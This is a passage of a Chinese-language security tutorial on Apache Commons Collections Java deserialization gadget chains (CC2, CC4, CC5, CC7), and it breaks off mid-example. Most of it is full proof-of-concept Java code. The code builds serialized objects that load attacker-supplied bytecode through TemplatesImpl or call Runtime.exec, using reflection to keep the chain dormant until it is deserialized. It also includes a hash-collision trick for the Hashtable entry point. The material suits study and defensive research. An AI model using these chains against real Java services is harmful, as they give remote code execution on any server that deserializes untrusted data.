最终运行即可弹出计算器. 最终链条梳理:
HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
TrAXFilter::带参构造
前面我们使用的是InvokerTransformer::transform
方法调用到了我们的TemplatesImpl::newTransformer
, 那么我们在这里可以查看一下,TemplatesImpl::newTransformer
被谁调用了.
可以看到的是,TrAXFilter(Templates)
构造方法中, 进行主动的调用了我们的newTransformer
方法, 但是这个类不可以被序列化:
public class XMLFilterImpl implements XMLFilter, EntityResolver, DTDHandler, ContentHandler, ErrorHandler {}
public class TrAXFilter extends XMLFilterImpl {
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_transformer = (TransformerImpl) templates.newTransformer();
// ... 其他代码
}
}
InstantiateTransformer::transform 实例化类
在我们之前Runtime.exec
命令执行操作时, 解决办法是通过传递Runtime.class
, 因为Class
允许被序列化, 那么这里有没有一个类允许传递过来Class
从而对其实例化操作呢?实际上是有的:
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
// ... 其他代码
}
我们可以看到的是, 这个InstantiateTransformer::transform
的功能是: 接收一个 Class, 得到它的构造器, 进行 newInstance 操作.
这一点刚刚满足我们TrAXFilter::带参构造
的需求! 那么构造POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
});
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
运行弹出计算器, 下面来梳理一下链路:
HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InstantiateTransformer::transform
TrAXFilter::带参构造
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
CC4 链路 (版本1) >= jdk1.8.0_131 俗称CC2
Apache Commons Collections
中更新了一个最新版本, 这个版本与原来第三个版本略有区别, 但不多, 笔者在这里放出来看一下:
可以看到, 该有的功能都在. 只不过多了一些泛型进行修饰, 所以我们刚刚上面的那一条链路仍然可以使用, 而CC4中也存在新的链条, 下面我们来分析新链条.
TransformingComparator::compare 链式调用
在CC4中,TransformingComparator
允许序列化操作, 但CC3中不允许, 它的类定义如下:
public class TransformingComparator<I, O> implements Comparator<I>, Serializable { // 注意实现了 Comparator, 并且CC4支持序列化
private final Transformer<? super I, ? extends O> transformer; // transformer 是 Transformer 类型
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1); // 存在 transform 方法调用
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2); // decorated 也不能设置为空, 否则在我们序列化时, 前面的调用者调用到这里的话, 会抛出空指针异常.
/*
decorated 可以选择 NullComparator, NullComparator 可序列化, 它的 compare 方法定义如下:
public int compare(final E o1, final E o2) {
if(o1 == o2) { return 0; }
if(o1 == null) { return this.nullsAreHigh ? 1 : -1; }
if(o2 == null) { return this.nullsAreHigh ? -1 : 1; }
return this.nonNullComparator.compare(o1, o2);
}
*/
}
}
那么这里我们就可以接着查找, 谁调用了compare
方法
PriorityQueue::readObject 入口点 & PriorityQueue::siftDownUsingComparator 链式调用
最终在PriorityQueue::siftDownUsingComparator
方法中找到了compare
方法调用, 这里PriorityQueue
类是一个队列类, 该类同样实现了Serializable接口
, 同样也是可序列化的, 代码定义如下:
这里注意一下, 调用到的 comparator.compare(参数1, 参数2) 的 参数1 是可控的, 我们只需要在往这个队列中
add
数据即可.
我们这里注意heapify
方法中的for
循环判断,size
变量最少为2时, 向右移一位才可以正常进入for循环, 如图:
所以我们在构造POC时, 一定要将这个队列的大小最少设置为2才行. 设置为2也就意味着向这个队列add
两次数据, 我们看一下PriorityQueue::add
方法做了什么:
public boolean add(E e) {
return offer(e); // 调用 offer
}
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size; // 当前队列大小
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e); // 大小不为0, 调用 siftUp
return true;
}
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x); // 这里会走向我们的链路终端
else
siftUpComparable(k, x);
}
这个问题, 类似于我们之前的HashMap
中的问题解决, 我们只需要add
方法前切断链路,add
方法后通过反射修复链路即可.
当然这个类的构造器定义如下:
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator; // private final Comparator<? super E> comparator;
}
而由于TransformingComparator
实现了Comparator
, 所以可以进行正常赋值.
在TransformingComparator::readObject
方法中直接进行了调用comparator.compare
方法, 所以这里也是一个Gadget
. 编写POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
ConstantTransformer tmpTransformer = new ConstantTransformer(TrAXFilter.class); // 绕过 add 两次时走向我们的链路.
TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer, new NullComparator()); // tmpTransformer 先扔进去
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add("heihu");
priorityQueue.add("577"); // add 的第二次走向链路终端, 因为我们仍的是 tmpTransformer, 所以不会调用到我们的恶意类中.
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
});
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer); // add 方法走完, 再改回来我们的恶意类
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
运行即可弹出计算器. 最终链路梳理如下:
PriorityQueue::readObject
TransformingComparator::compare
ChainedTransformer::transform
ConstantTransformer::transform
InstantiateTransformer::transform
TrAXFilter::带参构造
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
反射修改 final 变量的值
为了能让我们的序列化按照正常流程走完, 在之前我们add
前后的无效赋值操作, 中间参与了一个NullComparator对象
, 具体代码如下:
TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer, new NullComparator()); // 注意这里的 NullComparator, 是为了防止第二次 priorityQueue.add 时, 进入我们恶意类的 compare 方法的.
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add("heihu");
priorityQueue.add("577");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer); // add 方法走完, 再改回来我们的恶意类
这样的解决方法并不划算, 因为NullComparator
并没有在实际的反序列化链路里面, 让这么一个类帮助我们生成POC
有点不划算, 因为我们不可能仅仅为了让我们的POC
可以正常运行, 从而大费周折的去寻找一个可以执行的类. 那么我们应该怎么无效赋值才划算呢?
PriorityQueue
这个类add方法
, 我们观察一下:
public boolean add(E e) {
return offer(e); // 调用 offer
}
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e); // 调用 siftUp
return true;
}
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x); // 如果是 null, 走到这里
}
private void siftUpComparable(int k, E x) { // 默认的比较形式
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}
那么我们干脆直接不对comparator
进行赋值了, 在我们add
之后再进行赋值, 但是comparator
的类修饰符为final
, 如下:
private final Comparator<? super E> comparator;
但是通过反射, 我们可以修改该字段的访问修饰符, 所以我们无需赋值失败问题, 最终POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 BASE64");
bytecodes.set(templates, myBytes);
name.set(templates, "");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
PriorityQueue priorityQueue = new PriorityQueue(); // 注意这里, 干脆直接不赋值
priorityQueue.add("heihu");
priorityQueue.add("577"); // add 的第二次走向 PriorityQueue comparator 不赋值的情况
Field transformer = priorityQueue.getClass().getDeclaredField("comparator");
transformer.setAccessible(true); // 允许爆破
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(transformer, transformer.getModifiers() & ~Modifier.FINAL); // 让其 final 也允许被赋值
transformer.set(priorityQueue, transformingComparator); // add 方法走完, 再改回来我们的恶意类
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
运行即可弹出计算器.
修改 size 防止序列化时进入链路
由于priorityQueue.add
是当size = 2时, 会调用进链路, 那么我们可以第一次add后, 将size改为0, 第二次add后, 将size改为2, 这样更方便一点, 就不用在调用进链路时, 去切断链路了, 因为从开头就已经切断了:
PriorityQueue priorityQueue = new PriorityQueue(xxx);
Field size = priorityQueue.getClass().getDeclaredField("size");
size.setAccessible(true);
priorityQueue.add(templates); // 将可控的 templates 传入
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(templates);
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
后面在使用CB链路中笔者会通过这种方式演示.
CC4 链路 (版本2) 无数组版本 >= jdk1.8.0_131 俗称CC4
这个版本都是利用前面我们所学习过的作为链路的, 我们中间使用InstantiateTransformer::transform
进行实例化TrAXFilter::带参构造
从而调用到了Xalan ClassLoader
, 通过ConstantTransformer::transform
解决了readObject
传递过来的数据并不是任意的问题.
而这里由于PriorityQueue::readObject
的入口点可以传递任意对象到我们的链路中, 所以我们可以直接传递一个TemplatesImpl
对象过去, 通过调用InvokerTransformer::transform
去调用我们TemplatesImpl::newTransformer
方法即可, 编写POC:
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意字节码的 BASE64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
// ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
// new ConstantTransformer(TrAXFilter.class), // 接收任意参数, 返回 TrAXFilter.class 这个类
// new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // TrAXFilter.class 作为 InstantiateTransformer::transform 的参数调用过去, 从而调用到了 templates.newTransformer 方法, 进入类加载器
// });
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
ConstantTransformer<Object, Object> tmpTransformer = new ConstantTransformer("tmp"); // 对其进行一次无效赋值
TransformingComparator transformingComparator = new TransformingComparator(tmpTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer); // add 方法走完, 再改回来我们的恶意类
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
这个链的特性则是无需使用ChainedTransformer
, 也就避免了Transformer[]
这个数组的使用, 运行弹出计算器, 整个链路如下:
PriorityQueue::readObject
TransformingComparator::compare
InvokerTransformer::transform
TemplatesImpl::newTransformer -> TemplatesImpl::getTransletInstance -> TemplatesImpl::defineTransletClasses -> TransletClassLoader::defineClass
CC4 链路 (版本3) 俗称 CC5
这个版本的CC链路, 与之前的CC链路基本相同, 只是开头变了, 本来链路如下:
AnnotationInvocationHandler::readObject
AnnotationInvocationHandler::invoke
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime
而现在触发LazyMap::get
不再使用AnnotationInvocationHandler::invoke && AnnotationInvocationHandler::readObject
了.
TiedMapEntry::toString 链式调用
我们看一下TiedMapEntry::toString
这个函数定义:
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key); // 传递的 key 可控
}
public String toString() {
return getKey() + "=" + getValue(); // 注意 getValue 方法
}
}
当然, 这里就直接调用到map.get(可控值)
方法了, 我们后续直接把map
属性设置为LazyMap
即可, 所以这里也是一条链路.
BadAttributeValueExpException::readObject 入口方法 - 调用 toString
而BadAttributeValueExpException::readObject
中调用了任意对象.toString
方法, 我们可以看一下这个方法定义:
public class BadAttributeValueExpException extends Exception { // public class Exception extends Throwable {}, public class Throwable implements Serializable {}, 所以这里是可序列化的.
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString(); // 这里会自动调用 toString 方法, 可以作为后续无效赋值进行切断链路的点
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // 注意这里
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
那么完整的链路已经构造完毕, 我们编写POC测试:
public class Main4 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, InvocationTargetException, NoSuchFieldException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
BadAttributeValueExpException o = new BadAttributeValueExpException(null); // 防止构造方法中就调用 toString
Field val = o.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(o, tiedMapEntry); // 避开构造方法之后, 通过反射改回来恶意对象
serialize(o);
unserialize();
}
public static void serialize(Object o) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
运行弹出计算器, 其中链路如下:
BadAttributeValueExpException::readObject
TiedMapEntry::toString
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime
CC4 链路 (版本4) 俗称 CC7
这个链路有一个hash碰撞的问题, 为了方便研究, 笔者先把这个链路的调用链放出来.
Hashtable::readObject
AbstractMap::equals
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime
当然这里我们需要理解Hashtable::put
方法的流程, 以及LazyMap::put
方法.
Hashtable::put 流程分析
Hashtable 与 HashMap 的功能是类似的, 在 JDK 高版本中, 开发了 HashMap, 替代了 Hashtable.
那么我们准备如下代码, 进行分析:
Hashtable<Object, Object> hstable = new Hashtable<>();
hstable.put("hello", "world");
hstable.put("heihu", "577");
我们对put
方法打上断点, 看它做了什么操作.
在上面两次put
的代码我们可以看到的是, 如果两个key
的hashCode()
方法处理后,hash
不同, 就不会调用到entry.key.equals(key)
中去. 而如果hash
相同, 则不会调用到addEntry
方法, 底层table数组
也不会改变.
String::hashCode hash 碰撞
在上面我们也看到了,String::hashCode
方法的定义如下:
public int hashCode() {
int h = hash; // 默认为0
if (h == 0 && value.length > 0) {
char val[] = value; // private final char value[]; String 包装的每个字符串, 用 char[] 进行包装
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
/* 假设字符串 ab
31 * 0 + a的ASCII
a的ASCII * 31 + b的ASCII
... 以此类推
*/
}
hash = h;
}
return h;
}
那么我们是否可以构建出两个不同的字符串, 但hashCode
相同的字符串呢?编写如下python脚本:
myDict1 = {}
for i in range(1,127):
for j in range(1,127):
key = i * 31 + j
nowKey = myDict1.get(key)
if nowKey != None:
print(nowKey + " = " + (chr(i) + chr(j)))
myDict1[key] = chr(i) + chr(j)
最终可以跑出一系列字符串不同, 但hashCode
相同的字符串:
System.out.println("}~".hashCode()); // 4001
System.out.println("~_".hashCode()); // 4001
LazyMap 类构成
在前面链路中, 我们的确使用了LazyMap
, 但我们并没有对LazyMap
做进一步的分析, 而是构造POC直接打, 现在我们再来看一看LazyMap
:
public abstract class AbstractMapDecorator implements Map {
protected transient Map map;
public AbstractMapDecorator(Map map) {
this.map = map; // 将外部传递过来的 map 放到成员属性中
}
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object); // 当调用 equals, 直接调用 map 属性的 equals
}
}
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value); // 其实也是对原生的 map 进行操作
return value;
}
return map.get(key);
}
}
根据上面的类关系, 说明了一个问题,LazyMap
只是将外部传递过来的Map
进行封装到属性里了,get, put
方法等, 都是在这个map
上进行操作的, 下面用代码进行理解:
HashMap<Object, Object> hsMap = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap, new ConstantTransformer("1"));
lazyMap1.put("heihu", "577"); // 对 LazyMap1 进行 put
System.out.println(lazyMap2.get("heihu")); // 577
System.out.println(hsMap.get("heihu")); // 577
因为两者操作的都是第一行的HashMap
, 所以lazyMap1 && lazyMap2
的一系列操作等同于操作的同一个对象, 如果不想操作同一个对象必须传递的HashMap
不同, 如下代码:
HashMap<Object, Object> hsMap1 = new HashMap<>();
HashMap<Object, Object> hsMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap1, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap2, new ConstantTransformer("1"));
lazyMap1.put("heihu", "577"); // 对 LazyMap1 进行 put
System.out.println(lazyMap2.get("heihu")); // 1. 当 lazyMap2::map 属性中没有这个 key 的时候, 会调用到 ConstantTransformer::transform 方法, 而 ConstantTransformer::transform 返回了 1
现在大致LazyMap
的操作流程我们已经梳理清楚了, 下面我们再来看一下LazyMap::hashCode
方法的定义:
public abstract class AbstractMapDecorator implements Map {
public int hashCode() {
return map.hashCode(); // 会调用外部传递过来的 hashCode 方法
}
}
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { ... }
那么我们假设传递过去的Map
是HashMap
, 看一下HashMap::hashCode
方法:
public abstract class AbstractMap<K,V> implements Map<K,V> {
public int hashCode() { // LazyMap.hashCode() 实际上调用到这里
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode(); // 对每一个 Entry 进行调用 hashCode() 方法, 然后加到 h 变量中
return h;
}
}
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value); // 每个 entry 是由 entry[key].hashCode ^ entry[value].hashCode 的运算结果
}
}
}
public Class Object {
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0; // 不是 null 就调用 hashCode
}
}
可以看到的是, 如果对LazyMap
进行hashCode
操作, 实际上会调用到HashMap$Node.hashCode
中.HashMap$Node.hashCode
的算法只是将key && value
都进行异或操作了.
这里假设两个LazyMap
的value
值相同, 而Key
使用了不同字符但hashCode相同
的字符, 那么这两个LazyMap
所计算出来的hashCode
应该也是相同的, 代码测试如下:
HashMap<Object, Object> hsMap1 = new HashMap<>();
HashMap<Object, Object> hsMap2 = new HashMap<>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hsMap1, new ConstantTransformer("1"));
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hsMap2, new ConstantTransformer("1"));
lazyMap1.put("}S", 1); // }S 的 hashCode 与 ~4 的 hashCode 相同.
lazyMap2.put("~4", 1);
System.out.println(lazyMap1.hashCode()); // 3959
System.out.println(lazyMap2.hashCode()); // 3959
那么我们理解完上述所有内容之后, 开始挖掘这个CC链
.
AbstractMapDecorator::equals 链式调用
回到挖掘CC链
,AbstractMap::equals
调用了LazyMap::get
方法.
这里关系可能比较乱, 一句话就是说: 准备两个LazyMap
, 这两个LazyMap
中包裹HashMap
, 然后调用LazyMap::equals(另一个LazyMap)
即可.
这里准备POC如下:
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("heihu", null);
hashMap2.put("hacker", null);
// 准备两个 LazyMap
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer); // 创建一个 lazyMap 对象
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer); // 创建一个 lazyMap 对象
lazyMap1.equals(lazyMap2); // 进行比较
运行即可弹出计算器.
Hashtable::readObject 入口方法 - 调用 equals
在Hashtable::readObject
方法中存在两者通过equals
比较的操作, 我们看一下关键代码:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException{
// ... 其他代码
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
reconstitutionPut(table, key, value); // 调用到该方法
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
if (value == null) { // value 不可以为 null
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode(); // 对 key 进行 hashCode 计算
int index = (hash & 0x7FFFFFFF) % tab.length; // 两者 hashCode 相同的话 index 计算结果也相同
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { // 发现
if ((e.hash == hash) && e.key.equals(key)) { // 如果两个 key 的 hash 相同, 那么就调用 key 的 equals 方法
throw new java.io.StreamCorruptedException();
}
}
}
这里我们把key
设置为我们的LazyMap
, 然后因为LazyMap::hashCode
的运算是根据HashMap[Key.hashCode ^ Value.hashCode]
来计算的, 所以我们完全可以准备两个Value
完全一样的LazyMap
, 而Key
我们可以通过字符串中的hash碰撞
问题, 来使其两个反序列化时hashCode
一样, 而进入了LazyMap::equals
危险方法, 编写 POC 如下:
public static void main(String[] args) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
// 准备两个 HashMap
HashMap<Object, Object> hashMap1 = new HashMap<>();
